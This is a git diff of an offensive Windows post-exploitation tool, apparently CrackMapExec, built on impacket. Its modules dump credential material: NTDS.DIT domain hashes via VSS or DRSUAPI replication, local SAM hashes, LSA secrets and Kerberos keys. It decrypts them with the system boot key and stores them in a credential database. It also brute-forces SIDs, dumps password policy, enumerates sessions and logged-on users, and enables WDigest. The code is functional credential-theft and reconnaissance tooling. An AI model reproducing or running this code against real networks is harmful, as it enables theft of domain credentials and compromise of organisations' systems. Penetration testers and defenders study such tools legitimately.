clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
else:
hashesOutputFile = None
keysOutputFile = None
clearTextOutputFile = None
self.__logger.success('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
if self.__useVSSMethod:
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self.__getPek()
if self.__PEK is not None:
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
# First of all, if we have users already cached, let's decrypt their hashes
for record in self.__tmpUsers:
try:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception as e:
traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
traceback.print_exc()
logging.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
try:
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception, e:
traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
else:
self.__logger.success('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
# Do we have to resume from a previously saved session?
if self.__savedSessionFile is not None:
# Yes
try:
resumeFile = open(self.__savedSessionFile, 'rwb+')
except Exception, e:
traceback.print_exc()
raise Exception('Cannot open resume session file name %s' % str(e))
resumeSid = resumeFile.read().strip('\n')
logging.info('Resuming from SID %s, be patient' % resumeSid)
# The resume session file is the same as the savedSessionFile
tmpName = self.__savedSessionFile
else:
resumeSid = None
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
logging.debug('Session resume file will be %s' % tmpName)
# Creating the resume session file
try:
resumeFile = open(tmpName, 'wb+')
self.__resumeSessionFile = tmpName
except Exception, e:
traceback.print_exc()
raise Exception('Cannot create resume session file %s' % str(e))
while status == STATUS_MORE_ENTRIES:
resp = self.__remoteOps.getDomainUsers(enumerationContext)
for user in resp['Buffer']['Buffer']:
userName = user['Name']
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
if resumeSid is not None:
# Means we're looking for a SID before start processing back again
if resumeSid == userSid.formatCanonical():
# Match!, next round we will back processing
resumeSid = None
continue
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord, user['RelativeId'],
userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception, e:
traceback.print_exc()
logging.error("Error while processing user!")
logging.error(str(e))
# Saving the session state
resumeFile.seek(0,0)
resumeFile.truncate(0)
resumeFile.write(userSid.formatCanonical())
resumeFile.flush()
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
# Everything went well and we covered all the users
# Let's remove the resume file
resumeFile.close()
os.remove(tmpName)
self.__resumeSessionFile = None
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len(self.__kerberosKeys) > 0:
if self.__useVSSMethod is True:
logging.info('Kerberos keys from %s ' % self.__NTDS)
else:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
self.__logger.highlight(itemKey)
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
if self.__useVSSMethod is True:
logging.info('ClearText password from %s ' % self.__NTDS)
else:
logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
self.__logger.highlight(itemKey)
# Closing output file
if self.__outputFileName is not None:
hashesOutputFile.close()
if self.__justNTLM is False:
keysOutputFile.close()
clearTextOutputFile.close()
@classmethod
def __writeOutput(cls, fd, data):
try:
fd.write(data)
except Exception, e:
logging.error("Error writing entry, skippingi (%s)" % str(e))
pass
def finish(self):
if self.__NTDS is not None:
self.__ESEDB.close()

View File

@ -0,0 +1,48 @@
from impacket import winregistry
class OfflineRegistry:
def __init__(self, hiveFile = None, isRemote = False):
self.__hiveFile = hiveFile
if self.__hiveFile is not None:
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
def enumKey(self, searchKey):
parentKey = self.__registryHive.findKey(searchKey)
if parentKey is None:
return
keys = self.__registryHive.enumKey(parentKey)
return keys
def enumValues(self, searchKey):
key = self.__registryHive.findKey(searchKey)
if key is None:
return
values = self.__registryHive.enumValues(key)
return values
def getValue(self, keyValue):
value = self.__registryHive.getValue(keyValue)
if value is None:
return
return value
def getClass(self, className):
value = self.__registryHive.getClass(className)
if value is None:
return
return value
def finish(self):
if self.__hiveFile is not None:
# Remove temp file and whatever else is needed
self.__registryHive.close()

125
core/credentials/sam.py Normal file
View File

@ -0,0 +1,125 @@
from core.credentials.offlineregistry import OfflineRegistry
from core.credentials.commonstructs import DOMAIN_ACCOUNT_F, USER_ACCOUNT_V
from core.credentials.cryptocommon import CryptoCommon
from impacket import ntlm
from binascii import hexlify
from Crypto.Cipher import DES, ARC4
from struct import pack
import hashlib
import ntpath
import codecs
import logging
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__logger = logger
self.__db = db
self.__host = host
self.__hostname = hostname
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
logging.debug('Calculating HashedBootKey from SAM')
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = "0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
def __decryptHash(self, rid, cryptedHash, constant):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash)
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = "NTPASSWORD\0"
LMPASSWORD = "LMPASSWORD\0"
if self.__samFile is None:
# No SAM file provided
return
self.__logger.success('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
rid = int(rid,16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
if userAccount['LMHashLength'] == 20:
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
else:
encLMHash = ''
if userAccount['NTHashLength'] == 20:
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
else:
encNTHash = ''
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
if lmHash == '':
lmHash = ntlm.LMOWFv1('','')
if ntHash == '':
ntHash = ntlm.NTOWFv1('','')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
self.__logger.highlight(answer)
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()

View File

@ -0,0 +1,170 @@
from impacket import winregistry
from binascii import unhexlify, hexlify
from gevent import sleep
from core.remoteoperations import RemoteOperations
from core.credentials.sam import SAMHashes
from core.credentials.lsa import LSASecrets
from core.credentials.ntds import NTDSHashes
from impacket.dcerpc.v5.rpcrt import DCERPCException
import traceback
import logging
class DumpSecrets:
def __init__(self, connection, logger):
self.__useVSSMethod = False
self.__smbConnection = connection.conn
self.__db = connection.db
self.__host = connection.host
self.__hostname = connection.hostname
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
#self.__systemHive = options.system
#self.__securityHive = options.security
#self.__samHive = options.sam
#self.__ntdsFile = options.ntds
self.__bootKey = None
self.__history = False
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = 'logs/{}_{}'.format(connection.hostname, connection.host)
self.__doKerberos = False
self.__justDC = False
self.__justDCNTLM = False
self.__pwdLastSet = False
self.__resumeFileName = None
self.__logger = logger
def getBootKey(self):
# Local Version whenever we are given the files directly
bootKey = ''
tmpKey = ''
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + digit
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
tmpKey = unhexlify(tmpKey)
for i in xrange(len(tmpKey)):
bootKey += tmpKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
return bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
if noLmHash is not None:
noLmHash = noLmHash[1]
else:
noLmHash = 0
if noLmHash != 1:
logging.debug('LMHashes are being stored')
return False
logging.debug('LMHashes are NOT being stored')
return True
def enableRemoteRegistry(self):
bootKey = None
try:
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
#if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
self.__bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
traceback.print_exc()
logging.error('RemoteOperations failed: %s' % str(e))
def SAM_dump(self):
self.enableRemoteRegistry()
try:
SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True)
self.__SAMHashes.dump()
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
traceback.print_exc()
logging.error('SAM hashes extraction failed: %s' % str(e))
self.cleanup()
def LSA_dump(self):
self.enableRemoteRegistry()
try:
SECURITYFileName = self.__remoteOps.saveSECURITY()
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote)
self.__LSASecrets.dumpCachedHashes()
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
self.cleanup()
def NTDS_dump(self, method, pwdLastSet, history):
self.__pwdLastSet = pwdLastSet
self.__history = history
try:
self.enableRemoteRegistry()
except Exception:
traceback.print_exc()
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if method == 'vss':
self.__useVSSMethod = True
if self.__useVSSMethod:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName)
#try:
self.__NTDSHashes.dump()
#except Exception as e:
# traceback.print_exc()
# logging.error(e)
# if self.__useVSSMethod is False:
# logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
try:
self.__remoteOps.finish()
except DCERPCException:
sleep(5)
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()

View File

@ -1,14 +1,13 @@
from scripts.secretsdump import RemoteOperations
from core.remoteoperations import RemoteOperations
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
class WdisgestEnable:
class WDIGEST:
def __init__(self, logger, smbconnection, doKerb):
def __init__(self, logger, smbconnection):
self.logger = logger
self.smbconnection = smbconnection
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
self.doKerb = doKerb
self.doKerb = False
self.rrp = None
def enable(self):

73
core/database.py Normal file
View File

@ -0,0 +1,73 @@
class CMEDatabase:
def __init__(self, conn):
self.conn = conn
def add_host(self, ip, hostname, domain, os):
"""
Check if this host has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM hosts WHERE ip LIKE ?', [ip])
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO hosts (ip, hostname, domain, os) VALUES (?,?,?,?)", [ip, hostname, domain, os])
cur.close()
def add_credential(self, credtype, domain, username, password):
"""
Check if this credential has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?) AND LOWER(domain) LIKE LOWER(?) AND LOWER(username) LIKE LOWER(?) AND password LIKE ?", [credtype, domain, username, password])
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO credentials (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password] )
cur.close()
def is_credential_valid(self, credentialID):
"""
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM credentials WHERE id=? limit 1', [credentialID])
results = cur.fetchall()
cur.close()
return len(results) > 0
def get_credentials(self, filterTerm=None, credtype=None):
"""
Return credentials from the database.
'credtype' can be specified to return creds of a specific type.
Values are: hash and plaintext.
"""
cur = self.conn.cursor()
# if we're returning a single credential by ID
if self.is_credential_valid(filterTerm):
cur.execute("SELECT * FROM credentials WHERE id=? limit 1", [filterTerm])
# if we're filtering by host/username
elif filterTerm and filterTerm != "":
cur.execute("SELECT * FROM credentials WHERE LOWER(host) LIKE LOWER(?) or LOWER(username) like LOWER(?)", [filterTerm, filterTerm])
# if we're filtering by credential type (hash, plaintext, token)
elif(credtype and credtype != ""):
cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?)", [credtype])
# otherwise return all credentials
else:
cur.execute("SELECT * FROM credentials")
results = cur.fetchall()
cur.close()
return results

View File

@ -16,6 +16,7 @@
import sys
import logging
import codecs
import traceback
from impacket import version
from impacket.dcerpc.v5 import transport, lsat, lsad
@ -27,59 +28,52 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
class LSALookupSid:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445),
'135/TCP': (r'ncacn_ip_tcp:%s', 135),
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445)
#'135/TCP': (r'ncacn_ip_tcp:%s', 135),
}
def __init__(self, logger, username, password, domain, protocols = None,
hashes = None, maxRid=4000):
if not protocols:
protocols = LSALookupSid.KNOWN_PROTOCOLS.keys()
def __init__(self, logger, protocol, connection, maxRid=4000):
self.__logger = logger
self.__username = username
self.__password = password
self.__protocols = [protocols]
self.__addr = connection.host
self.__username = connection.username
self.__password = connection.password
self.__protocol = protocol
self.__hash = connection.hash
self.__maxRid = int(maxRid)
self.__domain = domain
self.__domain = connection.domain
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, addr):
if self.__hash is not None:
self.__lmhash, self.__nthash = self.__hash.split(':')
logging.info('Brute forcing SIDs at %s' % addr)
if self.__password is None:
self.__password = ''
# Try all requested protocols until one works.
for protocol in self.__protocols:
protodef = LSALookupSid.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
def brute_force(self):
logging.info("Trying protocol %s..." % protocol)
stringbinding = protodef[0] % addr
logging.info('Brute forcing SIDs at %s' % self.__addr)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
protodef = LSALookupSid.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
port = protodef[1]
try:
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
self.__bruteForce(rpctransport, self.__maxRid)
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.critical(str(e))
raise
else:
# Got a response. No need for further iterations.
break
logging.info("Trying protocol %s..." % self.__protocol)
stringbinding = protodef[0] % self.__addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
self.__bruteForce(rpctransport, self.__maxRid)
except Exception as e:
traceback.print_exc()
def __bruteForce(self, rpctransport, maxRid):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
# Want encryption? Uncomment next line
@ -124,9 +118,7 @@ class LSALookupSid:
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
self.__logger.results("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
self.__logger.highlight("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
soFar += SIMULTANEOUS
dce.disconnect()
return entries

View File

@ -1,8 +1,7 @@
import sys
import logging
import codecs
import logging
from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
@ -14,57 +13,55 @@ class PassPolDump:
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, logger, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
def __init__(self, logger, protocol, connection):
self.logger = logger
self.addr = connection.host
self.protocol = protocol
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.lmhash = ''
self.nthash = ''
self.aesKey = None
self.doKerberos = False
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if password is None:
self.__password = ''
if self.hash is not None:
self.lmhash, self.nthash = self.hash.split(':')
def dump(self, addr):
if self.password is None:
self.password = ''
logging.info('Retrieving endpoint list from %s' % addr)
def enum(self):
#logging.info('Retrieving endpoint list from %s' % addr)
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
protodef = PassPolDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.protocol)]
port = protodef[1]
dce = rpctransport.get_dce_rpc()
dce.connect()
logging.info("Trying protocol %s..." % self.protocol)
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
dce.bind(samr.MSRPC_UUID_SAMR)
dce = rpctransport.get_dce_rpc()
dce.connect()
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
self.__logger.success('Dumping password policy')
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
self.logger.success('Dumping password policy')
self.get_pass_pol(self.addr, rpctransport, dce, domainHandle)
def convert(self, low, high, no_zero):
@ -109,8 +106,8 @@ class PassPolDump:
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
self.__logger.results('Minimum password length: {}'.format(min_pass_len))
self.__logger.results('Password history length: {}'.format(pass_hst_len))
self.logger.highlight('Minimum password length: {}'.format(min_pass_len))
self.logger.highlight('Password history length: {}'.format(pass_hst_len))
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
@ -120,16 +117,16 @@ class PassPolDump:
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
1)
self.__logger.results('Maximum password age: {}'.format(max_pass_age))
self.__logger.results('Minimum password age: {}'.format(min_pass_age))
self.logger.highlight('Maximum password age: {}'.format(max_pass_age))
self.logger.highlight('Minimum password age: {}'.format(min_pass_age))
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
self.__logger.results("Account lockout threshold: {}".format(lock_threshold))
self.logger.highlight("Account lockout threshold: {}".format(lock_threshold))
lock_duration = None
if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
self.__logger.results("Account lockout duration: {}".format(lock_duration))
self.logger.highlight("Account lockout duration: {}".format(lock_duration))

View File

@ -1,58 +1,60 @@
import logging
from impacket.dcerpc.v5 import transport, srvs, wkst
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.dtypes import NULL
import settings
class RPCQUERY():
def __init__(self, logger, username, password, domain='', hashes=None):
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__local_ip = None
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if self.__password is None:
self.__password = ''
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def __init__(self, connection, logger):
self.logger = logger
self.connection = connection
self.host = connection.host
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.nthash = ''
self.lmhash = ''
self.local_ip = None
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if self.password is None:
self.password = ''
if self.hash:
self.lmhash, self.nthash = self.hash.split(':')
def connect(self, host, service):
def connect(self, service):
if service == 'wkssvc':
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(host)
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(self.host)
elif service == 'srvsvc':
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(host)
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(self.host)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
if service == 'wkssvc':
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.__ts)
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts)
elif service == 'srvsvc':
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts)
self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
self.local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
return dce, rpctransport
def enum_lusers(self, host):
dce, rpctransport = self.connect(host, 'wkssvc')
def enum_lusers(self):
dce, rpctransport = self.connect('wkssvc')
resp = wkst.hNetrWkstaUserEnum(dce, 1)
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
self.__logger.success("Enumerating logged on users")
self.logger.success("Enumerating logged on users")
for user in lusers:
self.__logger.results(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
self.logger.highlight(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
user['wkui1_username'],
user['wkui1_logon_server'],
user['wkui1_oth_domains']))
def enum_sessions(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
def enum_sessions(self):
dce, rpctransport = self.connect('srvsvc')
level = 502
try:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
@ -62,29 +64,29 @@ class RPCQUERY():
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
self.__logger.success("Enumerating active sessions")
self.logger.success("Enumerating active sessions")
for session in sessions:
if level == 502:
if session['sesi502_cname'][:-1] != self.__local_ip:
self.__logger.results('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
if session['sesi502_cname'][:-1] != self.local_ip:
self.logger.highlight(u'\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
session['sesi502_username'],
session['sesi502_num_opens'],
session['sesi502_time'],
session['sesi502_idle_time']))
elif level == 0:
if session['sesi0_cname'][:-1] != self.__local_ip:
self.__logger.results('\\\\{}'.format(session['sesi0_cname']))
if session['sesi0_cname'][:-1] != self.local_ip:
self.logger.highlight(u'\\\\{}'.format(session['sesi0_cname']))
def enum_disks(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
def enum_disks(self):
dce, rpctransport = self.connect('srvsvc')
try:
resp = srvs.hNetrServerDiskEnum(dce, 1)
except Exception:
resp = srvs.hNetrServerDiskEnum(dce, 0)
self.__logger.success("Enumerating disks")
self.logger.success("Enumerating disks")
for disk in resp['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys():
if disk[dname] != '\x00':
